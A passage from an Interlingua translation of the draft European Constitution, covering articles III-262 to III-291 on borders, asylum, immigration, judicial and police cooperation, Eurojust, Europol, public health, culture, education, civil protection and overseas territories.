Union pote esser associate al labores del committee. Le Parlamento Europeo et le parlamentos national est informate del labores.\nARTICULO III-262\nLe presente capitulo se intende, sin prejudicio del exercitio del responsabilitates que incumbe al Statos membros, pro le mantenimento del ordine public et le salveguarda del securitate interior.\nConstitution\/ra 198\nARTICULO III-263\nLe Consilio adopta regulamentos europeo pro garantir un cooperation administrative inter le servicios competente del Statos membros in le dominios mentionate in le presente capitulo, assi como inter le servicios et le Commission. Illo decide per proposition del Commission, sin prejudicio del articulo II-264, et post consultation del Parlamento Europeo.\nARTICULO III-264\nLe actos mentionate in le sectiones 4 et 5, assi como le regulamentos europeo mentionate in le articulo III-263, que garanti un cooperation administrative in le dominios mentionate in iste sectiones, est adoptate:\na) per proposition del Commission, aut\nb) per initiativa de un quarto del Statos membros.\nSECTION 2\nPOLITICAS RELATIVE AL CONTROLOS AL FRONTIERAS, AL ASYLO et AL IMMIGRATION\nARTICULO III-265\n1. la Union disveloppa un politica que ha como objectivo:\nConstitution\/ra 199\na) garantir le absentia total de controlos del personas, qualcunque est lor nationalitate, quando illes passa le frontieras interior;\nb) garantir le controlo del personas et le surveliantia efficace del passage del frontieras exterior;\nc) instaurar progressivemente un systema integrate de gestion del frontieras exterior.\n2. Pro le fines del paragrapho 1, le lege aut lege-quadro europeo stabili le mesuras relative a:\na) le politica commun de visas et altere permissos de residentia de curte duration;\nb) le controlos al quales est submittite le personas passante le frontieras exterior;\nc) le conditiones in le quales le citatanos del tertie paises pote circular liberemente in la Union durante un curte periodo;\nd) qualcunque mesura necessari pro le stabilimento progressive de un systema integrate de gestion del frontieras exterior;\ne) le absentia de controlo del personas, qualcunque est lor nationalitate, quando illes passa le frontieras interior.\n3.Le presente articulo non affecta le competentia del Statos membros concernente le delimitation geographic de lor frontieras, conformemente con le derecto international.\nConstitution\/ra 200\nARTICULO III-266\n1. la Union disveloppa un politica commun in materia de asylo, de protection subsidiari et de protection temporari, destinate a offerer un statuto appropriate a tote citatano de un tertie pais qui necessita un protection international, et a garantir le respecto del principio de non-expulsion. Iste politica debe esser conforme con le Convention de Genève del 28 de julio 1951 et con le protocollo del 31 de januario 1967 relative al statuto del refugiatos, assi como al altere tractatos pertinente.\n2. Pro le fines del paragrapho 1, le lege aut lege-quadro europeo stabili le mesuras relative a un systema europeo commun de asylo que include:\na) un statuto uniforme de asylo in favor de citatanos de tertie paises, valide in tote la Union;\nb) un statuto uniforme de protection subsidiari pro le citatanos del tertie paises qui, sin obtener le asylo europeo, ha besonio de un protection international;\nc) un systema commun pro le protection temporari del personas displaciate, in caso de affluentia massive;\nd) proceduras commun pro conceder aut retirar le statuto uniforme de asylo aut de protection subsidiari;\ne) criterios et mechanismos de determination del Stato membro responsabile del examine de un requesta de asylo aut de protection subsidiari;\nf) normas concernente le conditiones de reception del sollicitante de asylo aut de protection subsidiari;\nConstitution\/ra 201\ng) le association et le cooperation con tertie paises pro gerer le fluxos de personas qui sollicita asylo aut un protection subsidiari aut temporari.\n3. Si un aut plure Statos membros se trova in un situation de urgentia characterisate per un affluxo subite de citatanos de tertie paises, le Consilio, per proposition del Commission, pote adoptar regulamentos aut decisiones europeo que stabili mesuras provisori al profito del Statos membros concernite. Illo decide post consultation del Parlamento Europeo\nARTICULO III-267\n1. la Union disveloppa un politica commun del immigration destinate a garantir, in tote le stadios, un gestion efficace del fluxo de migratores, un tractamento equitabile del citatanos de tertie paises residente regularmente in le Statos membros, assi como un prevention del immigration illegal et del traffico commercial con esseres human et un lucta reinfortiate contra illos.\n2. Pro le fines del paragrapho 1, le lege aut lege-quadro europeo stabili le mesuras in le dominios sequente:\na) le conditiones de entrata et de residentia, assi como le normas concernente le fornimento per le Statos membros de visas et permissos de residentia de longe duration, includite pro le fines de regruppation familial;\nb) le definition del derectos del citatanos del tertie paises qui reside legalmente in un Stato membro, includite le conditiones que rege le libertate de circulation et de residentia in le altere Statos membros;\nConstitution\/ra 202\nc) le immigration clandestin et le residentia irregular, includite le expulsion et le repatriation del personas in situation illegal;\nd) le lucta contra le commercio con esseres human, in particular con feminas et infantes;\n3. la Union pote concluder con tertie paises accordos pro le readmission, in lor pais de origine aut de provenientia, de citatanos de tertie paises qui non compli aut non plus compli le conditiones de entrata, de presentia aut de residentia in le territorio de un del Statos membros.\n4. Le lege aut lege-quadro europeo pote stabilir mesuras pro incoragiar et appoiar le action del Statos membros in vista de favorar le integration del citatanos de tertie paises residente legalmente in lor territorio, con exclusion de tote harmonisation del dispositiones legislative et regulamentari del Statos membros.\n5. Le presente articulo non affecta le derecto del Statos membros de fixar le volumines de entrata del citatanos de tertie paises, proveniente de tertie paises, in lor territorio con le scopo de cercar un empleo salariate aut non-salariate.\nARTICULO III-268\nLe politicas de la Union mentionate in le presente section et lor execution est regite per le principio de solidaritate et de repartition equitabile del responsabilitates inter le Statos membros, includite super le plano financiari. Cata vice que isto est necessari, le actos de la Union adoptate in virtute del presente section contine mesuras appropriate pro le application de iste principio.\nConstitution\/ra 203\nSECTION 3\nCOOPERATION JUDICIARI IN MATERIA CIVIL\nARTICULO III-269\n1. la Union disveloppa un cooperation judiciari in le materias civil con repercussion trans le frontieras, fundate super le principio de recognoscentia mutual del decisiones judiciari et extrajudiciari. Iste cooperation pote includer le adoption de mesuras de approximation del dispositiones legislative et regulamentari del Statos membros.\n2. Pro le fines del paragrapho 1, le lege aut lege-quadro europeo stabili, in particular quando isto est necessari pro le bon functionamento del mercato interior, mesuras pro garantir:\na) le recognoscentia mutual inter le Statos membros del decisiones judiciari et extrajudiciari, et lor execution;\nb) le signification et le notification trans le frontieras del actos judiciari et extrajudiciari;\nc) le compatibilitate del regulas applicabile in le Statos membros in materia de conflicto de leges et de competentia;\nd) le cooperation in materia de obtention de provas;\ne) un accesso effective al justitia;\nConstitution\/ra 204\nf) le elimination del obstaculos al bon functionamento del proceduras civil, favorante, si isto est necessari, le compatibilitate del regulas de procedura civil applicabile in le Statos membros;\ng) le disveloppamento de methodos alternative de resolution de lites;\nh) le appoio del formation del magistratos et del personales de justitia.\n3. Nonobstante lo que est disponite in le paragrapho 2, le mesuras relative al derecto del familia con repercussion trans le frontieras est stabilite per un lege aut lege-quadro europeo del Consilio. Le Consilio decide per unanimitate, post consultation del Parlamento Europeo.\nLe Consilio, per proposition del Commission, pote adoptar un decision europeo que determina le aspectos del derecto del familia con repercussion trans le frontieras susceptibile de esser le objecto de actos adoptate secundo le procedura legislative ordinari. Le Consilio decide per unanimitate, post consultation del Parlamento Europeo.\nSECTION 4\nCOOPERATION JUDICIARI IN DERECTO PENAL\nARTICULO III-270\n1. Le cooperation judiciari penal in la Union est fundate super le principio de recognoscentia mutual del judicamentos et decisiones judiciari et include le approximation del dispositiones legislative et regulamentari del Statos membros in le dominios mentionate in le paragrapho 2 et le articulo III-271.\nConstitution\/ra 205\nLe lege aut lege-quadro europeo stabili le mesuras pro:\na) stabilir regulas et proceduras pro assecurar le recognoscentia, in le insimul de la Union, de tote le formas de judicamentos et de decisiones judiciari;\nb) prevenir et resolver le conflictos de competentia inter le Statos membros;\nc) adjuvar le formation de magistratos et de personales de justitia;\nd) facilitar le cooperation inter le autoritates judiciari aut equivalente del Statos membros in le quadro del procedura penal et del execution del decisiones.\n2. In le mesura que isto est necessari pro facilitar le recognoscentia mutual del judicamentos et decisiones judiciari, assi como le cooperation policiari et judiciari in le materias penal con dimension trans le frontieras, le lege-quadro europeo pote stabilir regulas minimal. Iste regulas minimal tene conto del differentias inter le traditiones et systemas juridic del Statos membros. Illos se refere:\na) al admissibilitate mutual del provas inter le Statos membros;\nb) al derectos del personas in le procedura penal;\nc) al derectos del victimas del criminalitate;\nConstitution\/ra 206\nd) a altere elementos specific del procedura penal que le Consilio habera identificate in avantia per un decision europeo; pro le adoption de iste decision, le Consilio decide per unanimitate, post approbation del Parlamento Europeo. Le adoption del regulas minimal mentionate in le presente paragrapho non impedi le Statos membros de mantener aut de instituer un nivello de protection plus elevate pro le personas.\n3. Quando un membro del Consilio considera que un projecto de lege-quadro europeo, mentionate in le paragrapho 2, affecta le aspectos fundamental de su systema de justitia penal, ille pote sollicitar que le projecto de lege-quadro est remittite al Consilio Europeo. In iste caso, le procedura mentionate in le articulo III-396 est suspendite. Post discussion, le Consilio Europeo, post quatro menses de iste suspension:\na) invia le projecto retro al Consilio, lo que termina le suspension del procedura mentionate in le articulo III-396, aut\nb) pete le Commission aut le gruppo de Statos membros del quales emana le projecto de submitter un nove projecto; in iste caso, le acto initialmente proponite est considerate como adoptate.\n4. Si, al termino del periodo mentionate in le paragrapho 3, nulle action ha essite prendite per le Parlamento Europeo aut si, in 12 menses ab le presentation de un nove projecto in virtute del paragrapho 3(b), le lege-quadro europeo non ha essite adoptate, et que al minus un tertio del Statos membros desira stabilir cooperation reinfortiate super le base del projecto de lege-quadro concernite, illos informa de illo le Parlamento Europeo, le Consilio et le Commission.\nConstitution\/ra 207\nARTICULO III-271\n1. Le lege-quadro europeo pote stabilir regulas minime relative al definition del infractiones penal et del sanctiones in dominios de criminalitate particularmente grave con dimensiones trans le frontieras resultante del character aut impacto del repercussiones de iste infractiones aut de un necessitate particular de combatter los secundo criterios commun.\nIste dominios de criminalitate est le sequente: le terrorismo, le commercio con esseres human et le exploitation sexual del feminas et del infantes, le traffico illicite de drogas, le traffico illicite de armas, le blanchimento de moneta, le corruption, le falsification de medios de pagamento, le criminalitate informatic et le criminalitate organizate.\nTenente conto del evolution del criminalitate, le Consilio pote adoptar un decision europeo identificante altere dominios de criminalitate que responde al criterios mentionate in le presente paragrapho. Illo decide unanimemente post approbation del Parlamento Europeo.\n2. Quando le approximation del dispositiones legislative et regulamentari del Statos membros in materia penal se monstra indispensabile pro garantir le execution efficace de un politica de la Union in un dominio que ha essite subjecto de mesuras de harmonisation, le lege-quadro europeo pote stabilir regulas minime relative al definition del infractiones penal et del sanctiones in le dominio concernite. Illo est adoptate secundo le mesme procedura que illo utilisate pro le adoption del mesuras de harmonisation in question, sin prejudicio del articulo III-264.\nConstitution\/ra 208\n3. Quando un membro del Consilio considera que un projecto de lege-quadro europeo, mentionate in le paragraphos 1 aut 2, affectarea le aspectos fundamental de su systema de justitia penal, illo pote sollicitar que le projecto del lege-quadro se remitte al Consilio Europeo. In iste caso, quando le procedura mentionate in le articulo III-396 est applicabile, illo est suspendite. Post deliberation et al fin de un periodo de quatro menses a partir de iste suspension, le Consilio Europeo:\na) invia le projecto retro al Consilio, lo que pone fin al suspension del procedura mentionate in le articulo III-396 quando iste est applicable; aut\nb) pete al Commission aut al gruppo de Statos membros, del qual emana le projecto, de presentar un nove projecto; in iste caso, le acto initialmente proponite est considerate como non adoptate.\n4. Si, al fin del periodo mentionate in le paragrapho 3, nulle action est prendite per le Consilio Europeo aut si, in un periodo de 12 menses a partir del presentation de un nove projecto in virtute del paragrapho 3(b), le lege-quadro europeo non ha essite adoptate, et si al minus un tertio del Statos membros vole stabilir un cooperation reinfortiate super le base del projecto de lege-quadro concernite, illos debe informar le Parlamento Europeo, le Consilio et le Commission. In un tal caso le autorisation pro initiar le cooperation reinfortiate, mentionate in le articulo I-44(2) et in le articulo III-419(1), est considerate como concedite et le dispositiones relative al cooperation reinfortiate est applicate.\nARTICULO III-272\nLe lege aut lege-quadro europeo pote stabilir mesuras pro incoragiar et appoiar le action del Statos membros in le dominio del prevention del criminalitate, con exclusion de tote harmonisation del dispositiones legislative et regulamentari del Statos membros.\nConstitution\/ra 209\nARTICULO III-273\n1. Le mission de Eurojust est appoiar et reinfortiar le coordination et le cooperation inter le autoritates national cargate de investigar et de persequer le criminalitate grave affectante duo aut plure Statos membros aut exigente un persecution secundo criterios commun, basante se super operationes effectuate et super information fornite per le autoritates del Statos membros et per Europol. Concernente isto, le lege europeo determina le structura, le functionamento, le dominio de action et le cargas de Eurojust. Iste cargas pote includer:\na) le initio de investigationes penal, assi como le proposition de initio de persecutiones, conducite per le autoritates national competente, particularmente illos relative a infractiones contra le interesses financiari de la Union;\nb) le coordination de investigationes et persecutiones mentionate in le littera a);\nc) le reinfortiamento del cooperation judiciari, includite per resolution de conflictos de competentias et per un stricte cooperation con le Rete judiciari europeo. Le lege europeo fixa equalmente le modalitates del association del Parlamento Europeo et del parlamentos national in le evalutation del activitates de Eurojust.\n2. In le quadro del persecutiones mentionate in le paragrapho 1, et sin prejudicio del articulo III-274, le actos official de procedura judiciari est complite per le functionarios national competente.\nConstitution\/ra 210\nARTICULO III-274\n1. Pro combatter le infractiones contra le interesses financiari de la Union, un lege europeo del Consilio pote instituer un officio de Accusator Public Europeo a partir de Eurojust. Le Consilio prende decision per unanimitate, post approbation del Parlamento Europeo.\n2. Le officio del Accusator Public Europeo est competente pro deteger, persequer et poner ante le judice, eventualmente in collaboration con Europol, le autores et complices de infractiones contra le interesses financiari de la Union, como istos est determinate per le lege europeo mentionate in le paragrapho 1. Illo exerce ante le organos jurisdictional competente del Statos membros le action penal relative a iste infractiones.\n3. Le lege europeo mentionate in le paragrapho 1 fixa le statuto del officio del Accusator Public Europeo, le conditiones de exercitio de su functiones, le regulas de procedura applicabile a su activitates, assi como istos que rege le admissibilitate del provas, et le regulas applicabile al controlo jurisdictional del actos de procedura realizate in le exercitio de su functiones.\n4. Le Consilio Europeo pote adoptar, simultaneemente aut ulteriormente, un decision europeo modificante le paragrapho 1 a fin de extender le attributiones del officio del Accusator Public Europeo in le lucta contra le criminalitate grave con un dimension trans le frontieras et modificante in consequentia le paragrapho 2 concernente le autores et le complices de crimines grave affectante plure Statos membros. Le Consilio Europeo prende decision per unanimitate, post approbation del Parlamento Europeo et post consultation del Commission.\nConstitution\/ra 211\nSECTION 5\nCOOPERATION POLICIARI\nARTICULO III-275\n1. la Union disveloppa un cooperation policiari que associa tote le autoritates competente del Statos membros, includite le servicios de policia, le servicios del doanas et altere servicios repressive specialisate in le dominios del prevention aut del detection et investigation del infractiones penal.\n2. Pro le fines del paragrapho 1, le lege aut lege-quadro europeo pote stabilir mesuras re:\na) le collecta, le stockage, le tractamento, le analyse et le intercambio de informationes pertinente;\nb) le appoio al formation de personal, assi como le cooperation relative al intercambio de personal, al equipamentos et al investigation criminalistic;\nc) le technicas commun de investigation concernente le detection de formas grave de criminalitate organizate.\n3. Un lege aut lege-quadro europeo del Consilio pote stabilir mesuras re le cooperation operational inter le autoritates mentionate in le presente articulo. Le Consilio decide per unanimitate, post consultation del Parlamento Europeo.\nConstitution\/ra 212\nARTICULO III-276\n1. Le mission de Europol est appoiar et reinfortiar le action del autoritates policiari et altere servicios repressive del Statos membros assi como lor collaboration mutual in le prevention del criminalitate grave affectante duo aut plure Statos membros, del terrorismo et del formas de criminalitate contra un interesse commun que est le objecto de un politica de la Union, assi como le lucta contra illos.\n2. Le lege europeo determina le structura, le functionamento, le dominio de action et le cargas de Europol. Iste cargas pote includer:\na) le collecta, le stockage, le tractamento, le analyse et le intercambio del informationes, transmittite particularmente per le autoritates del Statos membros aut de paises et tertie instantias;\nb) le coordination, le organization et le realization del investigationes et de actiones operational, facite conjunctemente con le autoritates del Statos membros aut in le quadro de equipas conjuncte de investigation, eventualmente in contacto con Eurojust. Le lege europeo fixa equalmente le modalitates de controlo del activitates de Europol per le Parlamento Europeo, controlo al qual est associate le parlamentos national.\n3. Qualcunque action operational de Europol debe esser facite in collaboration et in accordo con le autoritates del Statos membros cuje territorio est concernite. Le application de mesuras coercitive pertine exclusivemente al autoritates national competente.\nConstitution\/ra 213\nARTICULO III-277\nUn lege aut lege-quadro europeo del Consilio fixa le conditiones et le limites intra le quales le autoritates competente del Statos membros, mentionate in le articulos III-270 et III-275, pote intervenir in le territorio de un altere Stato membro in contacto et de accordo con le autoritates de iste Stato. Le Consilio decide per unanimitate, post consultation del Parlamento Europeo.\nCAPITULO V\nAREAS UBI la Union POTE PRENDER ACTIONES DE SUPPORTO, DE COORDINATION AUT COMPLEMENTARI\nSECTION 1\nSANITATE PUBLIC\nARTICULO III-278\n1. Un nivello elevate de protection del sanitate human est garantite in le definition et le execution de tote le politicas et actiones de la Union. Le action de la Union, que completa le politicas national, concerne le melioration del sanitate public, assi como le prevention del maladias et affectiones human, et del causas de periculo pro le sanitate physic et mental. Iste action include equalmente:\nConstitution\/ra 214\na) le lucta contra le grande pandemias, favorante le investigation de su etiologia, lor transmission et lor prevention assi como le information et le education re le sanitate;\nb) le surveliantia del menacias trans le frontieras grave pro le sanitate, le alerta in caso de tal menacias et le lucta contra illos. la Union completa le action facite per le Statos membros in vista de reducer le effectos nocive del droga super le sanitate, includite per le information et le prevention.\n2. la Union incoragia le cooperation inter le Statos membros in le dominios mentionate in le presente articulo e, si necessari, illo appoia lor action. Illo incoragia in particular le cooperation inter le Statos membros destinate a meliorar le complementaritate de lor servicios de sanitate in le regiones de frontiera.\nLe Statos membros coordina inter se, in contacto con le Commission, lor politicas et programmas in le dominios mentionate in le paragrapho 1. Le Commission pote, in contacto stricte con le Statos membros, prender qualcunque initiativa utile pro promover iste coordination, in particular initiativas in vista de stabilir orientationes et indicatores, de organizar le intercambio del melior practicas et de preparar le elementos necessari pro le surveliantia et pro le evalutation periodic. Le Parlamento Europeo est plenmente informate.\n3. la Union et le Statos membros favora le cooperation con le tertie paises et le organizationes international competente in materia de sanitate public.\nConstitution\/ra 215\n4. Nonobstante lo que est disponite in le articulo I-12(5) et in le articulo I-17(a), conformemente con le articulo I-14(2)(k), le lege aut lege-quadro europeo contribue al realization del objectivos mentionate in le presente articulo stabiliente le mesuras pro facer fronte al problemas commun de securitate:\na) mesuras fixante normas elevate de qualitate et de securitate del organos et substantias de origine human, del sanguine et derivatos del sanguine; iste mesuras non pote impedir un Stato membro de mantener aut de stabilir mesuras de protection plus stricte;\nb) mesuras in le dominios veterinari et phytosanitari habente directemente pro objectivo le protection del sanitate public;\nc) mesuras fixante normas elevate de qualitate et de securitate del medicamentos, del productos et del dispositivos pro uso medical;\nd) mesuras concernente le surveliantia del menacias trans le frontieras grave pro le sanitate, le alerta in caso de tal menacias et le lucta contra illos.\nLe lege aut lege-quadro europeo est adoptate post consultation del Committato Economic et Social et del Committato de Regiones.\n5. Le lege aut lege-quadro europeo pote equalmente stabilir mesuras de incoragiamento destinate a proteger et a meliorar le sanitate human et in particular a luctar contra le pandemias trans le frontieras, assi como mesuras habente directemente pro objectivo le protection del sanitate public concernente le tabaco et le consumo excessive de alcohol, con exclusion de tote harmonisation del dispositiones legislative et regulamentari del Statos membros. Illo est adoptate post consultation del Committato del Regiones et del Committato Economic et Social.\nConstitution\/ra 216\nPro le fines del presente articulo, le Consilio, per proposition del Commission, pote equalmente adoptar recommendationes.\n7. Le action de la Union respecta le responsabilitates del Statos membros pro le definition de lor politica de sanitate et pro le organization et le prestation de servicios de sanitate et assistentia medical. Le responsabilitates del Statos membros include le gestion de servicios de sanitate et de assistentia medical assi como le allocation del ressources que est destinate a iste servicios. Le mesuras mentionate in le paragrapho 4(a) non ha influentia al dispositiones national relative al donation de organos et sanguine aut relative a lor uso medical.\nSECTION 2\nINDUSTRIA\nARTICULO III-279\n1. la Union et le Statos membros velia que le conditiones necessari pro le competitivitate del industria de la Union est assecurate. Pro iste fin, conformemente con un systema de mercatos aperte et competitive, lor actiones visa a:\na) accelerar le adaptation del industria al cambiamentos structural,\nb) incoragiar un ambiente favorabile al initiativa et al disveloppamento del interprisas in tote la Union, particularmente del interprisas parve et median.\nConstitution\/ra 217\nc) incoragiar un ambiente favorabile al cooperation inter interprisas; favorar un melior exploitation del potential industrial del politicas de innovation, de investigation et de disveloppamento technic.\n2. Le Statos membros se consulta mutualmente, in contacto con le Commission e, si il est necessari, coordina lor actiones. Le Commission pote adoptar qualcunque initiativa utile pro promover iste coordination, in particular initiativas in vista de stabilir orientationes et indicatores, de organizar le intercambio del melior practicas et de preparar le elementos necessari pro le surveliantia et pro le evalutation periodic. Le Parlamento Europeo est plenmente informate.\n3. la Union contribue al realization del objectivos mentionate in le paragrapho 1 per le politicas et le actiones que illo face in virtute de altere dispositiones del Constitution. Le lege aut lege-quadro europeo pote stabilir mesuras specific destinate a appoiar le actiones facite in le Statos membros a fin de realizar le objectivos mentionate in le paragrapho 1, con exclusion de tote harmonisation del dispositiones legislative et regulamentari del Statos membros. Illo est adoptate post consultation del Committato Economic et Social.\nLe presente section non constitue un base pro le introduction, per la Union, de qualcunque mesura que poterea causar distorsiones de concurrentia aut include dispositiones fiscal aut relative al derectos et interesses del laboratores salariate.\nConstitution\/ra 218\nSECTION 3\nCULTURA\nARTICULO III-280\n1. la Union contribue al florescentia del culturas del Statos membros in le respecto de lor diversitate national et regional, ponente in relievo le patrimonio cultural commun.\n2. Le action de la Union ha como objectivo incoragiar le cooperation inter le Statos membros, et si necessari, appoiar et completar lor action in le dominios sequente:\na) le melioration del cognoscentia et del diffusion del cultura et del historia del populos europeo;\nb) le conservation et le salveguarda del patrimonio cultural de importantia europeo;\nc) le intercambios cultural non-commercial;\nd) le creation artistic et litterari, includite in le sector audiovisual.\n3. la Union et le Statos membros favora le cooperation con le tertie paises et le organizationes international competente in le dominio del cultura, in particular con le Consilio Europeo.\n4. la Union tene conto del aspectos cultural in su action in virtute de altere dispositiones del Constitution, in particular a fin de respectar et de promover le diversitate de su culturas.\nConstitution\/ra 219\n5. Pro contribuer al realization del objectivos mentionate in le presente articulo:\na) le lege aut lege-quadro europeo stabili actiones de incoragiamento, con exclusion de tote harmonisation del dispositiones legislative et regulamentari del Statos membros. Illo est adoptate post consultation del Committato del Regiones;\nb) le Consilio, per proposition del Commission, adopta recommendationes.\nSECTION 4\nTOURISMO\nARTICULO III-281\n1. la Union completa le action del Statos membros in le sector del tourismo, in particular promovente le competitivitate del interprisas de la Union in iste sector. Pro iste fin, le action de la Union ha como objectivo\na) incoragiar le creation de un ambiente favorabile al disveloppamento del interprisas in iste sector;\nb) favorar le cooperation inter Statos membros, in particular per le intercambio de bon practicas.\nConstitution\/ra 220\n2. Le lege aut lege-quadro europeo stabili le mesuras particular destinate a completar le actiones facite in le Statos membros a fin de realizar le objectivos in le presente articulo, con exclusion de tote harmonisation del dispositiones legislative et regulamentari del Statos membros.\nSECTION 5\nEDUCATION, JUVENTUTE, SPORT et FORMATION PROFESSIONAL\nARTICULO III-282\n1. la Union contribue al disveloppamento de un education de qualitate per incoragiar le cooperation inter Statos membros e, si necessari, per appoiar et completar lor action. Illo respecta plenmente le responsabilitate del Statos membros pro le contento del inseniamento et le organization del systema educative assi como lor diversitate cultural et linguistic. la Union contribue al promotion del aspectos europeo del sport, tenente conto de su specificitates, de su structuras fundate super le voluntariato, assi como de su function social et educative.\nLe action de la Union ha como objectivo:\na) disveloppar le dimension europeo in le education, in particular per le apprension et le diffusion del linguas del Statos membros;\nConstitution\/ra 221\nb) favorar le mobilitate del studentes et del inseniantes, includite per incoragiar le recognoscentia academic del diplomas et del periodos de studios;\nc) promover le cooperation inter le stabilimentos de inseniamento;\nd) disveloppar le intercambio de informationes et de experientias re le questiones commun al systemas educative del Statos membros;\ne) favorar le disveloppamento del intercambios de juvenes et de animatores socio-educative et incoragiar le participation del juvenes in le vita democratic de Europa;\nf) incoragiar le disveloppamento del education a distantia;\ng) disveloppar le dimension europeo del sport, per promover le equitate et le apertura in le competitiones sportive et le cooperation inter le organismos responsabile del sport, assi como per proteger le integritate physic et moral del sportivos, in particular del juvene sportivos.\n2. la Union et le Statos membros favora le cooperation con le tertie paises et le organizationes international competente in materia de education et de sport, in particular con le Consilio Europeo.\n3. Pro contribuer al realization del objectivos mentionate in le presente articulo:\na) le lege aut lege-quadro europeo stabili actiones de incoragiamento, con exclusion de tote harmonisation del dispositiones legislative et regulamentari del Statos membros. Illo est adoptate post consultation del Committato del Regiones et del Committato Economic et Social;\nConstitution\/ra 222\nb) Le Consilio, per proposition del Commission, adopta recommendationes.\nARTICULO III-283\n1. la Union disveloppa un politica de formation professional, que appoia et completa le actiones del Statos membros, respectante plenmente la responsabilitate del Statos membros pro le contento et le organization del formation professional. Le action de la Union ha como objectivo:\na) facilitar le adaptation al mutationes industrial, in particular per le formation et le reconversion professional;\nb) meliorar la formation professional initial et le formation continue a fin de facilitar le insertion et le reinsertion professional in le mercato del labor;\nc) facilitar le accesso al formation professional et favorar le mobilitate del formatores et del personas in formation, in particular del juvenes;\nd) stimular le cooperation in materia de formation inter stabilimentos de inseniamento aut de formation professional et interprisas;\ne) disveloppar le intercambio de informationes et de experientias re le questiones commun al systemas de formation del Statos membros.\n2. la Union et le Statos membros favora le cooperation con le tertie paises et le organizationes international competente in materia de formation professional.\nConstitution\/ra 223\n1. Pro contribuer al realization del objectivos mentionate in le presente articulo:\na) le lege aut lege-quadro europeo stabili le mesuras necessari, con exclusion de tote harmonisation del dispositiones legislative et regulamentari del Statos membros. Illo est adoptate post consultation del Committato del Regiones et del Committato Economic et Social;\nb) le Consilio, per proposition del commission, adopta recommendationes.\nSECTION 6\nPROTECTION CIVIL\nARTICULO III-284\n1. la Union incoragia le cooperation inter le Statos membros a fin de reinfortiar le efficacia del systemas de prevention del catastrophes natural aut de origine human et de protection contra illos. Le action de la Union ha como objectivo:\na) appoiar et completar le action del Statos membros al nivellos national, regional et local pro le prevention del riscos, le preparation del actores del protection civil in le Statos membros et le intervention in caso de catastrophes natural aut de origine human al interior de la Union.\nConstitution\/ra 224\nb) promover un cooperation operational rapide et efficace al interior de la Union inter le servicios de protection civil national;\nc) favorar le coherentia del actiones interprendite al nivello international in materia de protection civil.\n2. Le lege aut lege-quadro europeo stabili le mesuras necessari pro contribuer al realization del objectos mentionate in le paragrapho 1, con exclusion de tote harmonisation del dispositiones legislative et regulamentari del Statos membros.\nSECTION 7\nCOOPERATION ADMINISTRATIVE\nARTICULO III-285\n1. Le application effective del derecto de la Union per le Statos membros, que est essential pro le bon functionamento de la Union, est considerate como un question de interesse commun.\n2. la Union pote appoiar le effortios del Statos membros pro meliorar lor capacitate administrative pro applicar le derecto de la Union. Iste action pote consister specialmente in facilitar le intercambios de informationes et de functionarios assi como in appoiar programmas de formation. Necun Stato membro est obligate a recurrer a iste appoio. Le lege europeo stabili le mesuras necessari pro iste fin, con exclusion de tote harmonisation del dispositiones legislative et regulamentari del Statos membros.\nConstitution\/ra 225\n3. Le presente articulo est sin prejudicio del obligation del Statos membros de applicar le derecto de la Union, assi como prerogativas et deberes del Commission. Illo est equalmente sin prejudicio del altere dispositiones de la Constitution que previde un cooperation administrative inter le Statos membros assi como inter illos et la Union.\nTITULO IV\nLE ASSOCIATION DEL PAISES et TERRITORIOS DE ULTRAMAR\nARTICULO III-286\n1. Le paises et territorios non-europeo que mantene relationes special con Danmark, Francia, le Paises Basse et le Regno Unite est associate al Union. Iste paises et territorios, in lo que seque denominate \"paises et territorios\", est enumerate in le annexo II.\nLe presente titulo est applicabile a Groenlandia, sin prejudicio del dispositiones particular del Protocollo re le regime particular applicabile a Groenlandia.\n2. Le scopo del association est le promotion del disveloppamento economic et social del paises et territorios, et le stabilimento de relationes economic stricte inter illos et la Union. Le association debe de maniera prioritari contribuer a favorar le interesses del habitantes de iste paises et territorios et lor prosperitate, de tal maniera que iste association los conduce al disveloppamento economic, social et cultural al quales illos aspira.\nConstitution\/ra 226\nARTICULO III-287\nLe association proseque le objectivos sequente:\na) le Statos membros applica a lor intercambios commercial con le paises et territorios le regime que illos se accorda inter se in virtute del Constitution;\nb) cata pais aut territorio applica, a su intercambios commercial con le Statos membros et le altere paises et territorios, le regime que illo applica al Stato europeo con le qual illo intertene relationes particular;\nc) le Statos membros contribue al investimentos que require le disveloppamento progressive de iste paises et territorios;\nd) pro le investimentos financiate per la Union, le participation in le adjudicationes et fornituras est aperte, con equalitate de conditiones, a tote le personas physic et juridic qui ha le nationalitate del Statos membros et del paises et territorios;\ne) in le relationes inter le Statos membros et le paises et territorios, le derecto de stabilimento del citatanos et societates est regulate conformemente con le dispositiones del titulo III, capitulo I, section 2, subsection 2, relative al libertate de stabilimento, et in application del proceduras previste per iste subsection, assi como super un base non-discriminatori, sin prejudicio del actos adoptate in virtute del articulo III-291. III-291.\nConstitution\/ra 227\nARTICULO III-288\n1. Le importationes originari del paises et territorios beneficia a lor entrata in le Statos membros del prohibition del derectos de doana inter Statos membros mentionate per le Constitution.\n2. Al entrata in cata pais et territorio, le derectos de doana que grava le importationes del Statos membros et del altere paises et territorios est prohibite conformemente con le articulo III-151(4).\n3. Nonobstante, le paises et territorios pote perciper derectos de doana que responde al necessitates de lor disveloppamento et al necessitates de lor industrialisation aut que, de character fiscal, est destinate a nutrir lor budget. Le derectos mentionate in le paragrapho 1 non pote exceder le derectos que grava le importationes del productos proveniente del Stato membro con le qual cata pais aut territorio mantene relationes particular.\n4. Le paragrapho 2 non est applicabile al paises et territorios que, a causa del obligationes international particular al quales illos est submittite, applica jam un tarifa doanal non-discriminatori.\n5. Le stabilimento aut le modification de derectos de doana gravante le mercantias importate in le paises et territorios non debe causar, in derecto et in facto, un discrimination directe aut indirecte inter le importationes proveniente del diverse Statos membros.\nConstitution\/ra 228\nARTICULO III-289\nSi le nivello del derectos applicabile al mercantias proveniente de un tertie pais al entrata in un pais aut territorio est tal que, tenente conto del application del articulo III-288(1), illo pote causar deviationes de traffico prejudicial de un del Statos membros, iste pote peter al Commission proponer al altere Statos membros adoptar le mesuras necessari pro corriger iste situation.\nARTICULO III-290\nSin prejudicio del dispositiones que rege le sanitate public, le securitate public, et le ordine public, le libertate de circulation del laboratores del paises et territorios in le Statos membros et del laboratores del Statos membros in le paises et territorios est regite per actos adoptate conformemente con le articulo III-291.\nARTICULO III-291\nLe Consilio, per proposition del Commission et in le luce del resultatos acquirite in le quadro del association inter le paises et territorios et la Union, adopta per unanimitate le leges, leges-quadro, regulamentos, et decisiones europeo relative al modalitates et al procedura del association inter le paises et territorios et la Union. Iste leges et 